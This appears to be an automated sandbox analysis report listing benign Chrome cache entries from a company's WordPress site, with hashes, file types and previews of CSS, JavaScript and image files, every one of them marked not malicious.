Preview:	@font-face {. font-family: 'fontello';. src: url('../font/fontello.eot?96939179');. src: url('../font/fontello.eot?96939179#iefix') format('embedded-opentype'),. url('../font/fontello.woff?96939179') format('woff'),. url('../font/fontello.ttf?96939179') format('truetype'),. url('../font/fontello.svg?96939179#fontello') format('svg');. font-weight: normal;. font-style: normal;.}./* Chrome hack: SVG is rendered more smooth in Windozze. 100% magic, uncomment if you need it. /./ Note, that will break hinting! In other OS-es font will be not as sharp as it could be /./.@media screen and (-webkit-min-device-pixel-ratio:0) {. @font-face {. font-family: 'fontello';. src: url('../font/fontello.svg?96939179#fontello') format('svg');. }.}./. . [class^="icon-"]:before, [class=" icon-"]:before {. font-family: "fontello";. font-style: normal;. font-weight: normal;. speak: none;. . display: inline-block;. text-decoration: inherit;. width: 1em;. margin-righ

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32031)
Category:	downloaded
Size (bytes):	48520
Entropy (8bit):	5.183615021095896
Encrypted:	false
SSDEEP:	768:hdrybCLSG+z0BFKEyby+HvOWvevgOkYtUdEvWBzigMPpIFxIF0uJKW3D+5+gY073:rryKSAybbO4IUdEvPgqIFxIF0UN3CcgB
MD5:	D954E39EF706357FC31FF7D7EED46BD3
SHA1:	0159043ED6809563F86CF7958F810A3F0DA40940
SHA-256:	EF8D6BBC7FF486B90D77742A15B9B69DCA1E8244C56CCB1F660742614E1BD5E4
SHA-512:	C161C8223FC8B7A25F64559BF6D24898B92B4E7EC1B1FB765BACE25FE2C1B4992F3436D4608D3624EDB8ED51E5CF77A2AC4817CB8799953B5D07557162B919A6
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206
Preview:	function navigation(){$("#mobile-nav-container").on("click touchstart","a.mobile-nav-trigger",function(a){a.stopPropagation(),a.preventDefault(),$("body").toggleClass("menu-open")}),$("#primary-nav li").on("click touchstart",".next-menu",function(a){a.stopPropagation(),a.preventDefault(),$(this).toggleClass("flip").next(".dropdown").toggleClass("open")})}function subNavigation(){$(".dropdown-button").on("click touchstart",function(a){a.stopPropagation(),a.preventDefault();var b,c;b=$(this),c=b.siblings(".dropdown-menu"),c.toggleClass("show-menu")})}function accordionTabs(){$(".accordion-tabs").each(function(a){$(this).children("li").first().children("a").addClass("is-active").next().addClass("is-open").show()}),$(".accordion-tabs").on("click","li > a.tab-link",function(a){if($(this).hasClass("is-active"))a.preventDefault();else{a.preventDefault();var b=$(this).closest(".accordion-tabs");b.find(".is-open").removeClass("is-open").hide(),$(this).next().toggleClass("is-open").toggle(),b.fi

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	29948
Entropy (8bit):	7.5197329175197485
Encrypted:	false
SSDEEP:	768:7OfiRUz++9+atEAvFEGPXTTrnJjV9fB1ffX1YFyai:SfiRJc7Pfth9fB13lYFyai
MD5:	B590AFCD50FDA4B959625D920E7C8AF3
SHA1:	55842DB744332A7D0AF8327D23A3C91FEE4A4EB9
SHA-256:	810CBBED7B6CE07102938F0B2F605CEB866200D34A2977DB77FF858DC1EA6B48
SHA-512:	BE83EB4E34479FCC487E796DA6BB8B483F71E33F26A71348E2A720A80E41374F5CEB42BF42866350FEC796C57C9F9565D483DDE5AE29A70A0397EE2E94ED7AF4
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Upr_CD391.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:4B77D04A093011E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:4B77D049093011E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1167x608, components 3
Category:	dropped
Size (bytes):	80940
Entropy (8bit):	7.95452362759368
Encrypted:	false
SSDEEP:	1536:6Z1I0B4E6w+6aYAhBEHi4LUhJSN/DorPBoSrPyYTxGIpQnA5Qz:OB4ERpHPLUSxAlrv0IpQASz
MD5:	CC8BA1A37CEE40283CA00AAB4CD6ADFA
SHA1:	11CFE36B19978966C9480811DFB474CC0481E5FA
SHA-256:	BF5868A3D198739CBA6834F2215D4506737A5A7B35102473747615E02AA0AA97
SHA-512:	A076B391E6D623EE0B64AD29AB76189C4538F4B6718FEE6B9E9147A3519924297AA48B36A4A3C698DCA2C38C3AFC10ABA8B740515F6C7A781E660A9429357828
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....C....................................................................C.......................................................................`...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....G.b.u.nx..1KK..q.GNi@.E.XJZ\Q...h..........;......p......bt.....Qp.QK.\R.)qE.8..b.KE-.&)iqK@..)ih..b....K.....1E(...8.1?.Z(.p.QJ(.......-.%..P11KK..H..1K.j.J)...~t..U.....Z.LR.z.....~...@....R........KK.6.T..c.;m(ZC..(.<.M.\..(..w.4.LQKE..m.:.....u.......ciH.....Z1K.(...KJ(...S..R..)\ciH......:R.m.K.W..zQ.=..O.+..R....._.K..%..h..a)iy...GJ\m.....)qK@.

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	19334
Entropy (8bit):	7.087950069728156
Encrypted:	false
SSDEEP:	384:rfg4S3P1kj0WRjPTatI1dVScgxvG1TxNqcIhG87s+OJr:rfgD/1i0iygd4PG1lIds/d
MD5:	E3AEE09837E30888D6E184001DE571CB
SHA1:	C9E4A2D34C9154361ADA74E03565448F71FF3397
SHA-256:	6A25DFF92B8C71467207C674E6DE346BE88FCBBAA02E6E0E76E192BA080C8E6C
SHA-512:	D51D0B34FA3A2E1B6419930F830E05343036A26367FB5840F7749F6F94387F8CD84C6E46E0C3EBF10A83D2D81EEF8A676CD252A3B575F16A4C96BF8FD597AE6C
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E628A092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6289092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	392
Entropy (8bit):	5.04909943219633
Encrypted:	false
SSDEEP:	12:UlO1D6K7dkJKJHoR+PO5e6KTO8O08b8NuB:QO1D6KRamok250TbkoYB
MD5:	04BCD444D1EE534A9C57209B914AF1E2
SHA1:	655F8C2F9C971A9AF82A9DF8F330B6F809D6C066
SHA-256:	412C099774AED598F72D81AC7C3CAEA8DCEBE7686A0B283CFE37E321933D45DB
SHA-512:	DEEFDDB3ECB79D101DDB2D8292357ADCCE4621803D708A3AFBF4FCF158D0F24CDE68F18EFD1F4CF0B3BFB8556D65A42AAD3F2A4E2D211F4A2BE8357AB519C331
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /../ Import icon font /.@import url(font-lightcase.css);../ Import breakpoint related styles */.@import url(lightcase-default.css);.@import url(lightcase-max-640.css);.@import url(lightcase-min-641.css);.

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1424
Entropy (8bit):	5.105142895509243
Encrypted:	false
SSDEEP:	24:QO1D6KRamokPg7M1xM1Qhiyz1OOYmUzwH0OYYmaF6CyEgz+XaT79REFIPywUJMwf:n6KRam87ExEQcEUOrZH0OtnKEfaH3EqO
MD5:	BEA4D0132CF40C22B523B98A4231BFDF
SHA1:	BDE918C46B03247F636127C0707E48DA78ECA565
SHA-256:	E03F52D207D961F7485FEDA05BA2105DA50FD087D240BE66C230EE8EB08151D0
SHA-512:	EDD505EF331169C74F5D886EF5178111775314A188150E08284748FC6D79DE707597A152111B8718763D9D82B89BE46C8AE5B14349438A39A254ABC675C25574
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/font-lightcase.css
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /..@font-face {. font-family: 'lightcase';. src: url('../fonts/lightcase.eot?55356177');. src: url('../fonts/lightcase.eot?55356177#iefix') format('embedded-opentype'),. url('../fonts/lightcase.woff?55356177') format('woff'),. url('../fonts/lightcase.ttf?55356177') format('truetype'),. url('../fonts/lightcase.svg?55356177#lightcase') format('svg');. font-weight: normal;. font-style: normal;.}. .[class='lightcase-icon-']:before {. font-family: 'lightcase';. font-style: normal;. font-weight: normal;. speak: none;. . display: inline-block;. text-decoration: inherit;. width: 1em;. text-align: center;. . /* For safety - reset parent styles, that can break glyph codes/. font-variant: normal;. text-transform: none;. . / fix buttons height, for twitter bootstrap */. lin

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 22 x 400, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4132
Entropy (8bit):	7.7916828445654955
Encrypted:	false
SSDEEP:	96:X0llcHitlIxv9vk7C1+I4wWHLihk/xCQe0b3bmjA:XvIIHUCD4waUX0vmjA
MD5:	0BDA211913767F912B8828AAB9153746
SHA1:	850F7D5F5316D4282920C4B309F34213BBB59103
SHA-256:	DFCD864C3C30D9B6884FDD4F6C9B57C90A3B9A2A7042514DEA3CBF937D64DDB8
SHA-512:	48879EF232AA398A9DB08A6679C948417CF1B0BCF720CB63C3B3A572E51A8E709B89018E0938B1E720AD0D21A1DB33D9D4C7A7EDD1489791219FB03FAAC71BBA
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png
Preview:	.PNG........IHDR...............J...CiCCPICC profile..x.SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D...A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m....... ......O......:..L..$R...J5e?

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	downloaded
Size (bytes):	84111
Entropy (8bit):	7.975469035829131
Encrypted:	false
SSDEEP:	1536:olNuUT0qvfH8oGBmjNtbXNqMmd2EQaB8PcIdcsZul4J1BS:olNuUT0ofJGmzwMIM68zdcs24/BS
MD5:	EA9D45ABB3605D0F031E9B65F4659B3A
SHA1:	DDE79AC9F327730D883E3B4B3F9E88817268228D
SHA-256:	4AC1E97F3AE591E902857D766F88D773B69FBF58E6037CF1BB7291994A63DEDE
SHA-512:	E88F241D7BA08EA496C7C4A9815FD8B387DE8DF6A1F756F05DCE316739218D577993D6DCE4492FB136C4ACE29C2AB77F958AA6B376A496E4FC8DFCC71CC697FB
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/forming-analysis-hero.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:64ECC765594311E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC764594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4d6a9d53-b437-43a8-b58c-d29938e7dba7" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	21555
Entropy (8bit):	6.066152096265144
Encrypted:	false
SSDEEP:	192:UaKEiUIXJk7+H1hgfqhNMj2LbnJibw9xDCCk5ZV5TItGTI56hazHsNJXZcBI/LOb:8nUIMu15h4IbJjx+rHTIoTphEHEWBI2r
MD5:	8C57C63DFA6BC4BF9111EC0248ED4E36
SHA1:	BB6B18F8CFF37F621E44967911DB9BEA25EB3AA1
SHA-256:	ED539B0E408510E919FC366E92DAE1C1125F4C6A0F6BFA90BCD6F04781B49DBF
SHA-512:	CEEF112C5888C4AA12321D6C7EC8FE284CBD61A98118897FC56F4018BF19975D1E6CE4FB343A795B6366963CEEAD1FAE44CA23C9C8C9722D7215126DD3079081
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:A78DFEB6B64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:A78DFEB7B64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A78DFEB4B64211E5960E89E0CB43E699" stRef:documentID="xmp.did:A78DFEB5B64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	19187
Entropy (8bit):	7.114667008952835
Encrypted:	false
SSDEEP:	384:ZmrXbWkAsY+APzPUrjfEABkP2QWdwLxpma3:CXbWkAr+czPOEAtQWoL
MD5:	C6F2F515DCB8BA4E2BC915EB77311D63
SHA1:	10BACEF7978A498A1325BBA3D6AF3E08576F4AFB
SHA-256:	F413E0243D574DFA9D9C4BBCC2853679EE47CF9A3FD58DD5829C793C7BF69AF2
SHA-512:	7AA7AB57CD6B50650930A981C5E4C9A196FDDA4D80BAC926AD322A64CC04E4D6011224B4B248344FEAAEBF1CA3B4128708F13E94FF767276D0B402C9F23AB144
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/03/HFTB-MP-Rail-Frt-Flr-1300-410.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:D60CCDE7092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:D60CCDE6092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18820)
Category:	downloaded
Size (bytes):	59240
Entropy (8bit):	4.873494161336656
Encrypted:	false
SSDEEP:	768:qu4BXbuqfvcFoc1qmjJVsDzI3u+uu4BXbuqfvcFD:qXdc1qmjJVsDzI3u+uXY
MD5:	4940E4AE72B6124A6EAB7E97FC8DF1F4
SHA1:	20986CBB9965F176B6C6CCF1ADEFCF783F9E9E9A
SHA-256:	58C855E7EB9B917E71E6B733E73C542C25BACB986F3BA7DF2BE1570200312135
SHA-512:	C7F03DD29CA7BD8EA746477DC3E234FD860B21CC2D6823DBFA48D2BBB28F8BCD3256394AF849B2A5BA2DDB2074D7D9F5BF7053EAE621EFE39B05DCA162517895
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.9
Preview:	html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu .wp-block-navigation-submenu__toggle img{margin-left:12px}html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu ul.isHorizontal li{text-align:right}html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu ul.isHorizontal li a img{margin-left:12px}.wpml-language-switcher-block{display:flex;box-sizing:border-box;width:100% !important}.wpml-language-switcher-block>.wp-block-navigation-item,.wpml-language-switcher-block>.wp-block-navigation-item>div{display:flex;width:100% !important}.wpml-language-switcher-block .wp-block-navigation__container{background:unset !important}.wpml-language-switcher-block .hide-arrow .wp-block-navigation__submenu-icon{display:none}.wpml-language-switcher-block .wpml-ls-dropdown ul li button{padding:0}.wpml-language-switcher-block .wpml-ls-dropdown ul li button+.isHorizontal{min-wi

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=9, manufacturer=Canon, model=Canon EOS 5D, xresolution=142, yresolution=150, resolutionunit=2, software=Adobe Photoshop Lightroom 4.0 (Windows), datetime=2012:07:09 20:40:59], baseline, precision 8, 3921x2614, components 3
Category:	downloaded
Size (bytes):	3824757
Entropy (8bit):	7.961993846969107
Encrypted:	false
SSDEEP:	98304:7oABC6KoDq+pmrwVojsU7bPvPJjAH1O1tDRdbgB:MFjEq+IrwVTU3eH1EtDROB
MD5:	FEC947064145B64133467321C7ADBAF3
SHA1:	AA62C2A91EFC009A60F59324861A9BA8A9F21300
SHA-256:	54FB5FD5C0715F1C88324F615206D9216B388788DBA8BFDE45047DB30FD5449C
SHA-512:	13C194F6AA418E1512D701932C3594B12EF8AC7608DEECF8857A65CD6F478E3546C4C8A10377E6B2592DAFA27EBCCD01D5BF7530E651612343DF2008B7BBF33B
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg
Preview:	......JFIF............".Exif..MM.*.................z.....................................(...........1.....(.....2...........;..........i..............Canon.Canon EOS 5D..................Adobe Photoshop Lightroom 4.0 (Windows).2012:07:09 20:40:59.PraterPhotography..........................&."...........'..................0230.......................B...........V...........^...........f...........n...................................v...........~.........................................................................0...........1...........2...........4.....................<...-....2012:06:27 10:42:18.2012:06:27 10:42:18..Z!...B@...A.......................-.....B.......,o.....PraterPhotography.1120802083.............i....................EF24-105mm f/4L IS USM...........................2...........:.(.....................B...................H.......H.........C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!2222222222222222222222222222222222222222222222

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x600, components 3
Category:	downloaded
Size (bytes):	95197
Entropy (8bit):	7.966082904022382
Encrypted:	false
SSDEEP:	1536:ZUqVqNHcT1hezfuQgmr8kp0RF7BgJjJUz+TlfQPN3l7H+wvK:ZUXST1hMfu7mVy7wjJUaTylBHK
MD5:	0FC9C800ED55298B27CC75F79AF32B7C
SHA1:	81EABD224FBE3E26491605404F928C2309BBB2A5
SHA-256:	97493B3E7DCA9F986717192424A0BAF716BDE72FD60BB57C2DC4F3808F80DE83
SHA-512:	0458C43E50C2A9FC5AC7B5060D4C5A752338ABC76D382E5CA0343DED5AE04251B6478F259EA4A6BFBFBC9B7F7437CAD3D2CFBB2ACED83A45F3FC54B31AE13A05
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/09/hot-formed-hero.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:FB31B48858DB11E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:FB31B48758DB11E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1716), with no line terminators
Category:	downloaded
Size (bytes):	1716
Entropy (8bit):	4.819062196126408
Encrypted:	false
SSDEEP:	24:O0M0U7YNTZ/PWCqWkPWaKxUmKYOqWaLUh9JVLFDmmL:On0U7YNtXWCqWOWJK/qWaUhnVVmg
MD5:	72A49C98F1C6118869DD01F1BDCE2FCE
SHA1:	0285DFE28B3E5CDFE7F5E06F53637D47DF788BF5
SHA-256:	1AEB9107928BB523947C28E17358EFB50A07B942E15ED0A72259A5794EA2CA96
SHA-512:	0C5D363D0A946012C9E59143B40FBD3E8F06C3CFDCD24BECFA1C99D30F5431F86851C13BB5FF431D6FD8EB09A5B1AB9E481AC812061726506B39F443D024D4DC
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/style.min.css?ver=1
Preview:	.wpml-ls-legacy-dropdown{width:15.5em;max-width:100%}.wpml-ls-legacy-dropdown>ul{position:relative;padding:0;margin:0!important;list-style-type:none}.wpml-ls-legacy-dropdown .wpml-ls-current-language:focus .wpml-ls-sub-menu,.wpml-ls-legacy-dropdown .wpml-ls-current-language:hover .wpml-ls-sub-menu{visibility:visible}.wpml-ls-legacy-dropdown .wpml-ls-item{padding:0;margin:0;list-style-type:none}.wpml-ls-legacy-dropdown a{display:block;text-decoration:none;color:#444;border:1px solid #cdcdcd;background-color:#fff;padding:5px 10px;line-height:1}.wpml-ls-legacy-dropdown a span{vertical-align:middle}.wpml-ls-legacy-dropdown a.wpml-ls-item-toggle{position:relative;padding-right:calc(10px + 1.4em)}.rtl .wpml-ls-legacy-dropdown a.wpml-ls-item-toggle{padding-right:10px;padding-left:calc(10px + 1.4em)}.wpml-ls-legacy-dropdown a.wpml-ls-item-toggle:after{content:"";vertical-align:middle;display:inline-block;border:.35em solid transparent;border-top:.5em solid;position:absolute;right:10px;top:calc

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4643
Entropy (8bit):	5.083806818621524
Encrypted:	false
SSDEEP:	48:n6KRamNVxC474LELnxtcd42QLQuVqiIITPVhFflUFfZSAVreY8gPyQGXqm/G1UQ0:6eamNbLxSjjOgGpjDAvpm
MD5:	9CBF73663DEB88C55B58B871A313BC28
SHA1:	FC61E4F5C02998041E785174710434AD1BD750E9
SHA-256:	28144D30DE8FEF75790BF13BFC1F14EECCFB94423CB15EBBF75C653BFA1A49F1
SHA-512:	8C919720FD57EF9DDFCE3BFA8FA31D8D303FFDA35BA6F8A611B3CD2056F5D83860996EBDA1FB98B93425EEFBFBF5E5355C888E7FB541AD8C382C26A950EDBA11
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-default.css
